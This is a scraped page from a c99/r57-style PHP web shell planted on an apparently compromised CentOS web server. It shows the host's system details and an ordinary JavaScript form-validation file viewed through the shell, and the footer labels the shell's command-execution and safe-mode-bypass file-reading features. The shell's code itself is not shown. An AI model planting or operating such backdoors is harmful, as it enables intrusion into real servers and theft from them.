Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/mis/ums/js/ drwxr-xr-x | |
| Viewing file: Select action/file-type: //////////////////////////////////////////
//form validate functions
//////////////////////////////////////////
function IsEmpty(txt, msg) {
//use with text, password, hidden, textarea
if ((txt.value.length==0) || (txt.value==null)) {
alert(msg);
txt.focus();
return true;
}else{
return false;
}
}
function IsSelected(sel, msg) {
//use with select list only
if ((sel.value=='')) {
alert(msg);
sel.focus();
return false;
}else{
return true;
}
}
function IsChecked(rdo, msg) {
//use with radio
flg=false;
for (i=0; i<rdo.length; i++){
if(rdo[i].checked) flg=true;
}
if(!flg){
// If there were no selections made display an alert box
alert(msg);
rdo[0].focus();
return false;
}
return true;
}
function IsEmail(txt, msg) {
str = txt.value;
at="@";
dot=".";
lat=str.indexOf(at);
lstr=str.length;
ldot=str.indexOf(dot);
flg=true;
if (str.indexOf(at)==-1){ flg=false; }
if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){ flg=false; }
if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){ flg=false; }
if (str.indexOf(at,(lat+1))!=-1){ flg=false; }
if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){ flg=false; }
if (str.indexOf(dot,(lat+2))==-1){ flg=false; }
if (str.indexOf(" ")!=-1){ flg=false; }
if (!flg){
alert(msg);
txt.focus();
return false;
}else{
return true;
}
}
//////////////////////////////////////////
//other functions
//////////////////////////////////////////
function autotab(original, destination){
if (original.getAttribute && original.value.length==original.getAttribute("maxlength")) destination.focus();
}
function EvalSound(soundobj) {
var thissound= eval("document."+soundobj);
thissound.Play();
}
function doUnLoad(){
}
//function hidestatus(){
// window.status=''
// return true
//}
//if (document.layers)
//document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)
//document.onmouseover=hidestatus
//document.onmouseout=hidestatus
//
//function banStatusBar(){
// window.status = "";
// timerID= setTimeout("banStatusBar()", 100);
// return true;
//}
//banStatusBar(); |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0145 ]-- |